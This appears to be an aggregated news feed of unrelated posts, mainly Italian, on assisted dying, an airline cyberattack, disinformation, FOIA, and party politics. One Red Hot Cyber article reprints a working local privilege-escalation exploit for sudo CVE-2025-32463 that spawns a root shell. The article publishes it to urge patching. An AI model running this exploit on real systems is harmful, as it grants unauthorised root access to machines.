“Non è importante che sia o meno una coincidenza ma la Presidente del Consiglio Giorgia Meloni incontra Papa Leone XIV meno di 24 ore dopo l’ufficializzazione del testo sul fine vita, prodotto dal Governo, dopo due mesi di trattative informali, sulla base di testi tenuti segreti, con la Conferenza episcopale italiana, unico interlocutore finora scelto dalla maggioranza”, hanno dichiarato Filomena Gallo e Marco Cappato, Segretaria nazionale e Tesoriere dell’Associazione Luca Coscioni.

“Il merito del provvedimento è coerente con il metodo. La proposta di legge emanata dalla maggioranza cancella alla radice il diritto, che in Italia esiste da 7 anni, all’aiuto medico alla morte volontaria.

Oltre alla questione dell’esclusione del Servizio sanitario nazionale, realizzata affidando a un organo di nomina governativa il potere decisionale sulle richieste dei malati, la disposizione dalle conseguenze più gravi è quella che prevede di limitare il diritto alle persone che siano dipendenti da trattamenti “sostitutivi di funzioni vitali” invece che da “trattamenti di sostegno vitale” (come previsto finora dalla Corte costituzionale). Così facendo, si escludono le persone che a seguito di indicazione medica hanno rifiutato trattamenti di sostegno vitale e le persone totalmente dipendenti da assistenza e trattamenti forniti da familiari o caregiver, che invece finora, in alcuni casi, hanno effettivamente già ottenuto l’aiuto alla morte volontaria da parte del Servizio sanitario nazionale.

Nella speranza che i Parlamentari vorranno deliberare fuori da logiche di partito e di coalizione e vorranno intervenire sul testo rimuovendo le proibizioni e restrizioni apportate rispetto alle regole attuali, come Associazione Luca Coscioni proseguiamo la mobilitazione nel Paese sulla proposta alternativa: la legalizzazione dell’eutanasia, attraverso la sottoscrizione della nostra legge di iniziativa popolare, oltre ai ricorsi giudiziari e al proseguire delle disobbedienze civili”.

L'articolo Meloni porta in regalo al Papa una legge che cancella alla radice il diritto a morire, escludendo chi dipende dall’assistenza di terzi proviene da Associazione Luca Coscioni.

Hawaiian Airlines, una delle 10 principali compagnie aeree commerciali degli Stati Uniti, sta indagando su un attacco informatico che ha compromesso alcuni dei suoi sistemi. Gli esperti ritengono che il responsabile della violazione possa essere il gruppo Scattered Spider.

In una dichiarazione ufficiale, la compagnia riferisce che l’incidente informatico non ha compromesso la sicurezza del volo e che tutte le autorità competenti sono già state informate dell’accaduto. Hawaiian Airlines ha inoltre coinvolto esperti esterni di sicurezza informatica nelle indagini, che stanno attualmente contribuendo a valutare l’impatto dell’attacco e a ripristinare i sistemi interessati.

“Hawaiian Airlines sta risolvendo un problema di sicurezza informatica che ha avuto un impatto su diversi dei nostri sistemi IT. La nostra massima priorità è la sicurezza dei nostri clienti e dipendenti. Abbiamo adottato misure per proteggere le operazioni e tutti i voli stanno operando normalmente e in sicurezza”, ha dichiarato la compagnia aerea.

Un banner sul sito web della compagnia aerea afferma che l’incidente non ha avuto alcun impatto sulla sicurezza o sugli orari dei voli. Un messaggio simile è pubblicato sul sito web di Alaska Airlines, di proprietà di Alaska Air Group, la società che ha acquisito Hawaiian Airlines lo scorso anno.

Al momento non è chiaro se i sistemi di Hawaiian Airlines siano stati colpiti da un ransomware che li ha crittografati o se siano stati disattivati ​​per impedire attacchi informatici. Nessun gruppo di hacker ha ancora rivendicato la responsabilità dell’attacco. Vale la pena notare che la compagnia aerea canadese WestJet ha subito un attacco simile all’inizio di questo mese, e l’attacco ha compromesso la disponibilità dell’app e del sito web della compagnia aerea.

Nel frattempo, nel fine settimana, l’FBI , Google Mandiant e Palo Alto Networks hanno diramato un avviso congiunto in merito all’attività del gruppo di hacker Scattered Spider, che ora potrebbe prendere di mira aziende nei settori dell’aviazione e dei trasporti. L’FBI ha osservato che Scattered Spider in genere ricorre all’ingegneria sociale per accedere ai sistemi delle vittime e che gli hacker possono prendere di mira anche fornitori e appaltatori di compagnie aeree di fiducia. Secondo Axios invece, anche l’attacco a WestJet sopra menzionato potrebbe essere opera di Scattered Spider.

L'articolo Hawaiian Airlines sotto attacco hacker, sistemi compromessi proviene da il blog della sicurezza informatica.

KIA ORA. IT'S WEDNESDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and this week's edition comes to you from New Zealand. I'm taking a couple weeks off, so the next newsletter (for paying subscribers) will hit inboxes on July 14.

I'm trying something different this week.

Ahead of the 2024 global megacycle of elections, I had the idea of explaining the links between the digital tactics that have now become all too common in how politicians get elected from Pakistan and Portugal to the United Kingdom and the United States.

Life, however, got in the way. (The best I did was this package around artificial intelligence, disinformation and elections.) So, I'm taking another crack at how we all now live in the Fake News Factory.

Let's get started:

The democratization of online tools and tactics

THE LAST DECADE REPRESENTED the second generation of social media. It was an era where the shine had significantly come off Facebook and Twitter (now X.) It was a time of repeated whistleblower reports about tech giants understanding how their content algorithms were pushing people toward polarizing and extremist content. It was a time of serious commercialization of these platforms by politicians eager to bombard would-be voters with billions of dollars of collective ad buys.

That era is now over. It's not that Facebook and YouTube are no longer important. They are — especially YouTube which has transformed itself into a global rival for traditional television in a way that has upended the advertising industry and fundamentally reshaped how anyone under 30-years old consumes video content. But where the 2015-2025 period was primarily defined by the dominance of a small number of Silicon Valley platforms, we're now in an era where fringe platforms, niche podcasts and the likes of vertical dramas have divided people into small online communities that rarely interact with each other.

This was happening before 2025. But we have reached an inflection point in how the online information ecosystem works. It has now shattered into a million pieces where people gravitate to like-minded individuals in siloed platforms. There is no longer a collective set of facts or events that form the foundation for society. Instead, most of us seek out opinions that already reflect our worldview, often demonizing those who we disagree with in an "othering" that only fuels polarization, misunderstanding and, potentially, offline harm.

And you thought this would be an uplifting newsletter.

Thanks for reading the free monthly version of Digital Politics. Paid subscribers receive at least one newsletter a week. If that sounds like your jam, please sign up here.

Here's what paid subscribers read in June:
— Debunking popular misconceptions around platform governance; The demise of the open, interoperable internet is upon us; How oversight over AI has drastically slowed since 2023. More here.
— Internal fighting among Big Tech giants has hobbled any pushback against antitrust enforcement; It's time to rethink our approach to tackling foreign interference; Tracking Europe's decade-long push to combat online disinformation. More here.
— Why the G7 has always been a nothing-burger on tech policy; You should keep an eye out on 'digital public infrastructure' in the battle around tech sovereignty; the United Kingdom's expanding online safety investigations. More here.
— The US is sending seriously mixed messages about its approach to tech policy; How the UK became the second place in the world to mandate social media data access; Artificial intelligence will upend how we consume news online. More here.

This bifurcation in how people consume online content has made it next to impossible for foreign interference operations to flourish like they once did. See, there's a positive point. Even two years ago, the Russians could flood the zone with Kremlin talking points and receive a significant bump in online interactions. The Chinese never went in for that sort of thing — though have progressively targeted Western audiences mostly with overt propaganda in support of the Chinese Communist Party.

Now, such efforts are almost certainly doomed to fail. The siloing of social media usage has been married with a need for authenticity — that sense of belonging and insider knowledge that can only come from deep roots in communities that can smell out an imposter from a mile off. That authenticity is something that foreign (covert) campaigns routinely do badly at. State-backed operations don't know the insider lingo; they don't have the long-standing credibility built up over months/years; and they don't have personal ties required to fully embed in the balkanization of social media.

But where state-backed actors remain a threat is in the amplification of existing domestic influencers often by automated bot-nets and other AI-powered tools aimed at juicing social media giants' recommender systems. The companies say they are on top of these covert tactics. But every time there's a massive global political event (or local election), Kremlin-backed narratives keep popping up in people's feeds — often via local influencers whose views just happen to align with Moscow. These individuals are mostly not connected with Russia. But they have likely received a boost from Kremlin-aligned groups seeking to spread those messages to the widest audience possible.

It's about domestic, not foreign

IN TRUTH, STATE-BACKED ACTORS are a very public sideshow to the main event driving ongoing toxicity within the information environment: domestic actors. Be they influencers, scammers, politically-aligned media or, ahem, politicians, they are the key instigator for much of the current. Many of these domestic players see some form of benefit from spreading harm, falsehoods and, in some cases, illegality online. That, it should be added, is then amplified by social media platforms' algorithms that have been programmed to entice people to stay on these networks, often by promoting the most divisive content as possible.

Such a dynamic has been around for years. It isn't a left- or right-wing issue — though repeated studies have shown that conservative social media users promote more falsehoods than their liberal counterparts. It's a basic fact that domestic social media users both know their audience better than foreign influence campaigns and that they have greater credibility with siloed local audiences than Russia, China or Iran.

What has shifted, though, is the ability for almost anyone to run a domestic influence campaign — or, you know, a mainstream political campaign — as if they had the resources of the Kremlin-backed Internet Research Agency. Over the last five years, the toolkit required to skew social media has become readily accessible and significantly cheaper than it once was. That has been spurred on even more through the rapid growth of AI-enabled tools (more on that below.) But everything from a Bangladesh-based bot farm to a Philippines-based dark arts public relations has now become an off-the-shelf product that can be bought via a few clicks on a public-facing website.

This shift has not gone unnoticed by criminals. In 2025, the highest volume of attacks in the (Western) information environment now come from those seeking to dupe social media users out of money — and not to alter their political allegiances. Yes, the impact on politics can have significantly bigger effects. But the rise of "financial disinformation" in terms of frauds and scams promoted on social media has reached pandemic proportions.

Collectively, such digital efforts to swindle people out of money now costs billions of dollars a year, and even that is likely a significant underestimate. It's also directly linked to a crime (aka fraud) when scammers buy social media adverts to convince people to sign up to Ponzi and other get-rich-quick schemes. I did a quick search, via Meta's ad library in six different countries, for such financial scams, and found a prolific amount of advertising that promoted such disinformation. Some of it was blatantly illegal, some of it was not (I'm not linking to it to avoid amplification.) But the fact such scam artists are openly flaunting the law should be a worry for us all.

This democratization of disinformation has only gone from bad to worse with AI tools. Be it cloning technology to spoof a victim's voice, AI-generated images attacking a political opponent or next-generation video software that creates falsehoods from scratch within minutes, the cost for generating toxicity, hate and polarization is now almost zero. Yes, these tools can also generate joy, laughter and entertainment. But the last six months have seen a rapid rise in AI-generated slop that is quickly moving from being easy to detect to being indistinguishable from the real thing.

Trust me, I'm a regulator

THIS YEAR MARKS THE FIRST TIME ON RECORD that several countries' online safety rulebooks are in full operation. Yes, Australia got things started almost five years ago. But with the European Union's Digital Services Act and the UK's Online Safety Act, the Western world has the first signs of what a well-resourced regulatory environment looks like when it comes to keeping people safe online.

Sigh.

It's not that the European Commission and Ofcom (disclaimer: I sit on an independent advisory committee at the British regulator, so anything I say here is done so in a personal capacity) aren't doing their best. They are. It's just both are fighting a 2020 war against perceived threats within the online information environment, and just haven't kept pace with the fast-evolving tactics, some of which I outlined above.

To a degree, the time lag is understandable. Regulators are always going to be behind the curve on the latest threats. Both agencies are still staffing up and learning the ropes of their new rulebooks. How successful either the EU or UK will be in making their online worlds safer for citizens won't be known for at least five years, at the earliest.

But there have been some serious mistakes, especially from the European Commission. Let's leave aside the political nature of the first investigations under the Digital Services Act. And let's leave aside the internal bureaucratic infighting that was always going to arise from such a powerful — and well-resourced — piece of legislation.

For me, the biggest error was how Ursula von der Leyen framed the new rules as almost exclusively a means for combatting Russian interference. That was done primarily to secure her second tenure as European Commission president. But the characterization of the Digital Services Act as an all-powerful mechanism to thwart the Kremlin's covert influence operations has continued well into this year — most notably in the two presidential elections in Romania.

Sign up for Digital Politics

Thanks for getting this far. Enjoyed what you've read? Why not receive weekly updates on how the worlds of technology and politics are colliding like never before. The first two weeks of any paid subscription are free.

Subscribe
Email sent! Check your inbox to complete your signup.

No spam. Unsubscribe anytime.

Let's be clear. These online safety rules are many things. But, at their heart, they are wonky, bureaucratic and cumbersome mandatory requirements for platforms to abide by their own internal policies against illegal content. They are not about Russian disinformation. And they certainly are not about censorship.

Weaponization and unknown unknowns

And that takes me to the final big concern within the Fake News Factory: the weaponization of online safety rules. Since 2016, there have been those within the US that pushed back hard against platforms' efforts to quell illegal and abusive content. That has spiralled into conspiratorial claims that a Censorship Industrial Complex — made up of governments, social media giants and outsiders — is trying to illegally silence predominantly rightwing voices, often via new online safety legislation.

US President Donald Trump's administration has made it clear what it thinks of these rules — and has pushed back hard. It has threatened retaliatory tariffs against countries with online safety rules on the books. It has threatened to ban anyone who allegedly tries to censor Americans from entering the country. It has accused both the UK and EU of infringing on US First Amendment rights.

These attacks against what are, essentially, legal commitments obligating companies to live by their own internal rules — and to demonstrate that they have done so — are now part of the conversation in other Western countries. That includes (mostly) right-wing lawmakers across Europe seeking to weaken these online safety rules, accusing others of censoring conservative viewpoints and mimicking many of the long-standing talking points from their US counterparts.

It's true, particularly during the pandemic, that social media companies made content moderation decisions with imperfect facts. Some posts were unfairly removed or downranked as these firms responded, in real time, to government efforts to amplify scientifically correct information. But the rise of conspiracy theories, which insinuated a mass censoring of online voices, just didn't bear out with the evidence at hand. And that came after repeated reports from the US House of Representatives select subcommittee on the weaponization of the federal government.

If there was evidence of such abuse, then I would be the first to champion such findings. But as we enter the second half of the year, there is one core underlying fact that underpins everything I've written so far: no one has a clue about what happens on these platforms.

Long-time Digital Politics readers will have heard mego on about this for months — and, to be fair, it's part of my day job to look into this issue. But how the complex recommender system algorithms interact with people's individual posts, paid-for advertising and wider efforts to influence people online remains a black box. What I have outlined above, for instance, is based on my own research, what I understand anecdotally about how these platforms work and discussions with policymakers, tech executives and other experts.

The Fake News Factory is my own imagining of how the current online information ecosystem interacts and shapes the world around us. But without better awareness — via mandatory requirements that these firms open up to independent scrutiny, transparency and accountability — about the inner workings of these platforms, that imagining will remain incomplete, at best.

We are entering a new generation of social media with limited awareness, mass balkanization and an increasingly politicization of what should be clear objectives of keeping everyone safe online. How long this era will stick around for is anyone's guess. But, for now, the Fake News Factory remains as strong as ever.

What I'm reading

— The Organization for Economic Cooperation and Development analyzed the so-called age assurance policies from 50 online services — most of which did not have checks in place. More here.

— The team at the DSA Observatory did a deep dive into how individuals, non-profit organizations and consumer groups can bring private enforcement actions under the EU's Digital Services Act.

— The UK's Competition and Markets Authority laid out its rationale for why it had designated Google a so-called "strategic market status" under the country's new digital antitrust rules. More here.

— OpenAI submitted recommendations to the upcoming US AI Action Plan. The words "freedom" and "PRC" are mentioned repeatedly throughout. More here.

— Researchers at USC Annenberg looked at how the media covered the negative side of social media/technology, and found that the companies are rarely blamed. More here.

digitalpolitics.co/newsletter0…

Normally when a government extends a piece of copyright law we expect it to be in the favour of commercial interests with deep pockets and little care for their consumers. But in Denmark they do things differently it seems, which is why they are giving Danes the copyright over their own features such as their faces or voices. Why? To combat deepfakes, meaning that if you deepfake a Dane, they can come after you for big bucks, or indeed kronor. It’s a major win, in privacy terms.

You might of course ask, whether it’s now risky to photograph a Dane. We are not of course lawyers here but like any journalists we have to possess a knowledge of how copyright works, and we are guessing that the idea in play here is that of passing off. If you take a photograph of a Volkswagen you will have captured the VW logo on its front, but the car company will not sue you because you are not passing off something that’s not a Volkswagen as the real thing. So it will be with Danes; if you take a picture of their now-copyrighted face in a crowd you are not passing it off as anything but a real picture of them, so we think you should be safe.

We welcome this move, and wish other countries would follow suit.

Pope Francis, Midjourney, Public domain, (Which is a copyright story all of its own!)

hackaday.com/2025/07/02/finall…

Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una grave vulnerabilità scoperta in SUDO (CVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot.

L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot.

Test sul campo: la parola a Manuel Roccon del gruppo HackerHood

Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.

Il team ha quindi testato il Proof of Concept pubblicato da Stratascale Exploit CVE-2025-32463 – sudo chroot. Il risultato? Privilege escalation ottenuta con successo.

youtube.com/embed/-GxiqS-f7Yg?…

Dettagli dell’exploit

L’exploit sfrutta una condizione in cui sudo esegue un comando in un ambiente chroot, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.

L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo che consente a un utente non privilegiato di ottenere privilegi di root quando sudo viene eseguito con l’opzione -R (che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*), compila una libreria condivisa malevola (libnss_/woot1337.so.2) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash), e forza sudo a caricarla come libreria NSS nel contesto chroot.

La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot, dove sudo carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/, che funge da root virtuale per il chroot. Quando sudo -R woot woot viene eseguito, la libreria woot1337.so.2 viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor)), ottenendo così l’escalation dei privilegi.

I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:

• L’abilitazione dell’uso di chroot tramite sudo.
• L’assenza di alcune restrizioni nei profili di sicurezza (come AppArmor o SELinux).
• Una configurazione permissiva di sudoers.

Di seguito le semplici righe

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c
#include

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Conclusioni

Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo e chroot è comune, i rischi aumentano considerevolmente.

Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.

La sicurezza parte dalla consapevolezza. Continuate a seguirci per analisi tecniche, PoC testati e segnalazioni aggiornate.

L'articolo Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463 proviene da il blog della sicurezza informatica.

Our rights and freedoms – online and offline – are facing unprecedented threats. Recognising this as a collective struggle, we want to explore the theme Resilience and Resistance in Times of Deregulation and Authoritarianism for this edition of Privacy Camp. The 13th edition of Privacy Camp is set to take place on 30 September 2025.

The post #PrivacyCamp25: Call for Sessions open appeared first on European Digital Rights (EDRi).

Svolgo un lavoro d'ufficio (quindi niente di fisicamente pesante), al chiuso (quindi non sono esposto ai raggi solari diretti) ma nonostante questo dover lavorare a 30-31 °C è stato pesante, più di quanto pensassi.

Molti di noi sono sensibili al problema climatico ma mi sono accorto che, nel mio caso, era una sensibilità molto "razionale". Ho letto articoli, ho guardato i dati, ho osservato i grafici, ho preso atto del fatto che qualcosa non sta andando bene e che abbiamo davanti un problema di cui dobbiamo occuparci.

Non penso però di esagerare se dico che stare tre giorni interi senza aria condizionata (non ce l'ho neanche a casa, per scelta) a me ha fatto provare una vera e propria paura per la situazione in cui ci troviamo.

Credo di essere passato da una comprensione razionale del problema ad una percezione emotiva.

Mi sono domandato allora se il vivere immersi nell'aria condizionata non possa avere un effetto "anestetico", non possa essere qualcosa che ci impedisce di percepire fino in fondo la drammaticità della situazione in cui ci troviamo.

Sarebbe utile passare un paio di giorni a settimana senza nessuna forma di aria condizionata, tanto per riuscire a percepire correttamente quale sia l'emergenza che abbiamo di fronte. Purtroppo non è possibile, l'aria condizionata è dappertutto, e mi domando se non potrebbe essere questo uno dei motivo per cui tante persone non sembrano sufficientemente preoccupate dal problema climatico.

ICYMI

This Friday, the Fourth of July, the United States Pirate Party will be hosting our annual Pirate National Conference. It will be hybrid, hosting jointly in-person and online, with the Conference taking place in San Francisco, California. This year, the theme is “Run for Something!”.

For more information about our 2025 Conference, you may visit the official Conference page.

This past Sunday, we had another series of meetings and joint appearances between ourselves and the US Transhumanist Party. The purpose of these meetings have been to further advance the coalition plans between our two parties.

Not only did Captain Drew Bingaman serve as the guest on the latest Virtual Enlightenment Salon by the USTP, but members of the USTP joined us for our Sunday meeting.

We are pleased to announce that the coalition between our two parties is all but official. Both parties will be ratifying the bylaws of the coalition in the coming days and will officially kick off a new era in US minor party politics.

This coalition, slated to officially be named “All Hands for a Free Future Coalition”, which can be shortened to “All Hands”, “AllHandsFuture” and, if you have a sense of humor, “the Handies”, will begin with our two parties and will be expected to expand membership to fellow parties down the line.

We here in the United States Pirate Party would like to express our gratitude to our friends in the United States Transhumanist Party.

Free Men. Free Labor. Free Soil. Free Future.

Don’t forget to tune into our conference, streamed live to our YouTube channel this Friday. Not only will we be electing a new board, but also we shall inaugurate the first ever Captain of Young Pirates USA.

uspirates.org/icymi-2025-pirat…

Long before he was the Freedom of Information Act director at The Washington Post, Nate Jones was a curious college student with a penchant for Able Archer 83.

Looking to learn more about the 1983 NATO war game, he ventured to the Ronald Reagan Presidential Library and sifted through a box inscribed “military exercises.” The folders inside were empty and classified.

“You can do FOIA, but good luck,” an archivist told him. “So instead of giving up, I kind of got a little angry,” he recalled.

Jones funneled that FOIA frustration into fanaticism. Years later, he acquired the documents his college self had yearned for and eventually wrote a book about the war scenario based on them.

But the lesson he learned transcended Able Archer 83. Access to even one unclassified document from the jump is all it would have taken to start a chain reaction of declassification for Jones much sooner.

“If the dang Reagan Library had just given me the records right away, it would have helped me file tens of thousands of more public records requests,” he explained.

To understand how FOIA requests and public records like those ultimately obtained by Jones can be used to fight government secrecy and improve our communities, Freedom of the Press Foundation (FPF) hosted an online webinar June 24 with Jones, MuckRock CEO Michael Morisy, and investigative journalist and author Miranda Spivack.

youtube.com/embed/AHGmEfZEMV8?…

Morisy, whose organization has helped file over 156,000 records requests and led to the release of over 11 million pages, said the key to a successful FOIA lies in its preparation. As a starting point, he advises requesters to “step inside the mindset of a bureaucrat” and envision the request from their perspective.

“Where are the records that you care about? How would you describe them? How would they work? Who would have access to them? And then use that to guide that public records officer to exactly what you want,” he said.

Spivack — who recently authored “Backroom Deals in Our Backyards: How Government Secrecy Harms Our Communities and the Local Heroes Fighting Back” — said it’s also important to consider the system of records requests as a whole, beyond the individuals working within them.

Unlike at the federal level, she said, there isn’t a constituency for transparency at the state and local levels “until somebody bumps into a problem.” That can stifle requesters.

“There are a lot of groups at the state and local level that are pro transparency, but I think they really have to get into communities and have to translate for people why it matters,” added Spivack. “Not even when you need it, but before you need it, why it should matter that your government should be more transparent.”

Still, there are cases where a local or state government records office can provide more information than a federal one, which is why Spivack recommends filing requests with both parties when it’s appropriate to do so.

Jones concurred. “It’s a great strategy to always file with as many agencies as you can.”

Another helpful strategy is to replicate prior successful records requests, he said.

“Don’t reinvent the wheel. Have an agency release more of what they already have released,” Jones said. Many reporters, including those at the Post, use MuckRock to find examples of past successful requests and duplicate them to save time and increase their odds of a successful request, he added.

As the Trump administration slashes FOIA offices and prunes the National Archives and Records Administration’s budget, one audience question, from open government advocate Alex Howard, addressed the possibility of insulating FOIA offices from political influence and firings.

Jones suggests modeling FOIA offices more closely on the Inspector General’s Office, which could add pressure on people in the agency “to release the things to the public in a timely manner.”

“So if you want to call it insulation, that would be fine, but I would rather call it empowerment,” he added.

Looking ahead, Morisy said that the encroachment of corporate interests in records requests is contributing to the “hollowing out” of government competence and could be clogging up the system. Instead of fighting together, transparency constituencies are picking individual battles, he said, which waters down their ability to enact change within the system.

“I think they’re losing, which I think is a big, big problem,” Morisy said.

Still, Jones is optimistic about the system, even if it’s far from perfect. He encourages requesters to file weekly, if not daily, to open the tap on a consistent flow of releases. Following that ethos could yield “one or two or three good documents a week,” he said.

“Be a proactive requester, not a reactive requester,” Jones said. “If you plant your acorns, the trees will grow.”

freedom.press/issues/use-publi…

Avvocata Filomena Gallo: “ASUGI continua a negare l’esistenza di trattamenti di sostegno vitale e conferma il divieto di accesso alla morte medicalmente assistita, ignorando le sentenze della Corte costituzionale. Così facendo, infligge a Martina un trattamento disumano che equivale a una forma di tortura”.

Martina Oppelli, malata di sclerosi multipla da oltre 20 anni, lo scorso 4 giugno ha ricevuto il terzo diniego da parte della azienda sanitaria locale ASUGI in merito alla procedura di verifica delle condizioni per accedere al suicidio medicalmente assistito: non avrebbe alcun trattamento di sostegno vitale in corso.

Nonostante le sue condizioni cliniche siano in costante peggioramento e nonostante la sua completa dipendenza da una assistenza continuativa e da presidi medici (farmaci e macchina della tosse), la commissione medica ha nuovamente escluso la sussistenza del trattamento di sostegno vitale, necessario per poter accedere legalmente alla morte volontaria assistita in Italia, sulla base della sentenza 242/2019 della Corte costituzionale.

Per questo motivo, lo scorso 19 giugno Martina Oppelli, assistita dal team legale coordinato da Filomena Gallo, avvocata e Segretaria nazionale dell’Associazione Luca Coscioni e coordinatrice del collegio legale di Martina Oppelli, ha presentato un’opposizione al diniego, accompagnata da una diffida e messa in mora nei confronti dell’azienda sanitaria. Alla diffida, che invitava ASUGI a riesaminare la posizione di Martina Oppelli alla luce delle indicazioni fornite dalla Corte costituzionale, l’azienda sanitaria ha risposto che sarà “immediatamente avviata una nuova procedura di valutazione” di Martina Oppelli da parte della commissione medica.

“Ammetto di non aver considerato di essere obbligata a subire l’ennesima insostenibile estate. Eppure, ho tutti i requisiti previsti dalla norma e dalle sentenze a ora presenti in Italia per poter usufruire di questo diritto. Un diritto al quale avrei preferito non dovermi mai appellare io, quella della resistenza a oltranza con un po’ di esuberanza. Io che, come altre creature con diagnosi nefaste, adoro la vita fino a succhiarne anche l’ultima goccia di linfa vitale. Ciò che mi rimane è solo una grande stanchezza e lo sconforto per aver creduto nel senso civico di uno Stato laico che dovrebbe concedere al cittadino consapevole, autodeterminato, allo stremo delle proprie forze, di porre fine a una sofferenza per la quale nessuno è in grado di proporre soluzioni plausibili che io non abbia già sperimentato. Probabilmente saranno altri a poterne usufruire, a poterne gioire. E io, chissà, dovrò intraprendere un ultimo faticosissimo viaggio verso un paese non troppo lontano che ha già recepito la supplica di compassione di chi è stato condannato a soffrire a oltranza”, ha dichiarato Martina Oppelli.

“Con questo terzo diniego, ASUGI dimostra di avere una posizione immotivatamente ostruzionistica nella valutazione delle condizioni di Martina Oppelli, che contrasta apertamente con la giurisprudenza costituzionale. Oppelli vive una condizione di totale dipendenza da caregiver per lo svolgimento di ogni singola attività quotidiana, comprese le funzioni biologiche primarie, utilizza quotidianamente la macchina della tosse per evitare il soffocamento ed è sottoposta a una terapia farmacologica con innegabile funzione salvavita. Secondo la sentenza della Corte costituzionale 135 del 2024, questi sono presidi che costituiscono ‘trattamenti di sostegno vitale’ perché ‘la loro sospensione determinerebbe la morte del paziente in un breve lasso di tempo’. ASUGI, ignorando tutto ciò, sta infliggendo a Martina un trattamento che si traduce in tortura”, ha dichiarato Filomena Gallo.

Intanto, è partita la raccolta firme promossa dall’Associazione Luca Coscioni per la legge di iniziativa popolare sul fine vita. L’obiettivo è quello di raccogliere 50mila firme entro il 15 luglio per poi approdare con la legge in Senato il 17 luglio, data in cui inizierà la discussione del testo proposto dalla maggioranza di governo. La proposta di legge dell’Associazione punta a legalizzare tutte le scelte di fine vita, inclusa l’eutanasia, con il pieno coinvolgimento del Servizio sanitario nazionale, dando tempi certi ai malati.

L'articolo Suicidio Assistito: Terzo diniego della ASUGI per Martina Appelli proviene da Associazione Luca Coscioni.

Mercoledì 2 luglio, dalle 18.45 presso Làbas in Vicolo Bolognetti 2, dibattito pubblico su eutanasia e suicidio medicalmente assistito.

Nel corso dell’iniziativa si raccoglieranno anche firme per la proposta di legge popolare Eutanasia Legale. Se vuoi firmare online con SPID o Carta d’Identità Elettronica, clicca qui!

Modera l’incontro:

Iole Benetello, Cellula Coscioni Bologna

Interverranno:

Pierfrancesco Bresciani, phd Diritto Costituzionale

Matteo Mainardi, Responsabile iniziative fine vita Associazione Luca Coscioni

Andrea Mariano, Laboratorio di Salute Popolare

Con la testimonianza di Andrea Ridolfi, fratello di Fabio Ridolfi

L’ingresso è libero e gratuito. Dopo il dibattito seguirà serata musicale.

L'articolo Dibattito “La libertà di scelta nel fine vita: diritti, limiti e proposte” proviene da Associazione Luca Coscioni.

pixelfed.uno/nobollo
Shorts

peertube.uno/c/moments_of_life…
Video

mastodon.uno/@nobollo
Spizzichi...

Ci metto la faccia.
...quel che c'è dietro in fondo, conta quasi esclusivamente per me.

Qualche domanda adesso.

Come ti chiami?
- Silvio Domenico.
...ma qualcuno mi chiama anche stronzo...dipende.

Sei credente?
- Si...aspetta!
...a cosa ti riferisci esattamente?

In cosa sei veramente competente?
- Dipende chi ho di fronte.

Cosa ti piace in una donna?
- Che sia una donna, innazitutto.
...con dentro una persona preferibilmente a me compatibile.
Parliamo...di cosa piace a me, ovviamente!

Hai fatto il Militare?
- Si, in Marina...perchè...altrimenti non vengo assunto?

Quale genere musicale preferisci?
- La musica in genere, più quella di una volta...sembra qualunquista, ma non è così.

Cosa o chi vorresti con te su un'isola deserta?
- Un cellulare...appena mi rompo le palle chiamo qualcuno disponibile a venirmi a prendere.

Fatti una domanda e poi risponditi.
- E adesso?
Adesso, passo alla prossima domanda.

Che sorpresa vorresti ricevere?
- La prossima.

Il gusto di gelato che preferisci?
- Pistacchio.

Se tu fossi?
- Altro...non sarei questo.

Il tuo soprannome abituale?
- Nessuno abituale.

Hai mai tradito qualcuno?
- Se esiste un patto...no. Aspettative, si ne ho tradito. Ma, alle volte, quasi sempre...non sai cosa si aspettino gli altri da te...e poi, comunque, quello non lo considero un tradimento.

Sei mai stato tradito da qualcuno?
_ Non pienamente...e comunque, non c'erano patti di sorta..

La parolaccia che ripeti continuamente?
- Alcune in egual misura...forse, cazzo in misura superiore.

La posizione preferita in amore?
- Oggi sono un pò stanco...prego si accomodi...domani, magari si cambia.

Hai mai fatto l'amore con più di una donna contemporaneamente?
- Si...ma era in un sogno.

E con più uomini?
- Salta!!

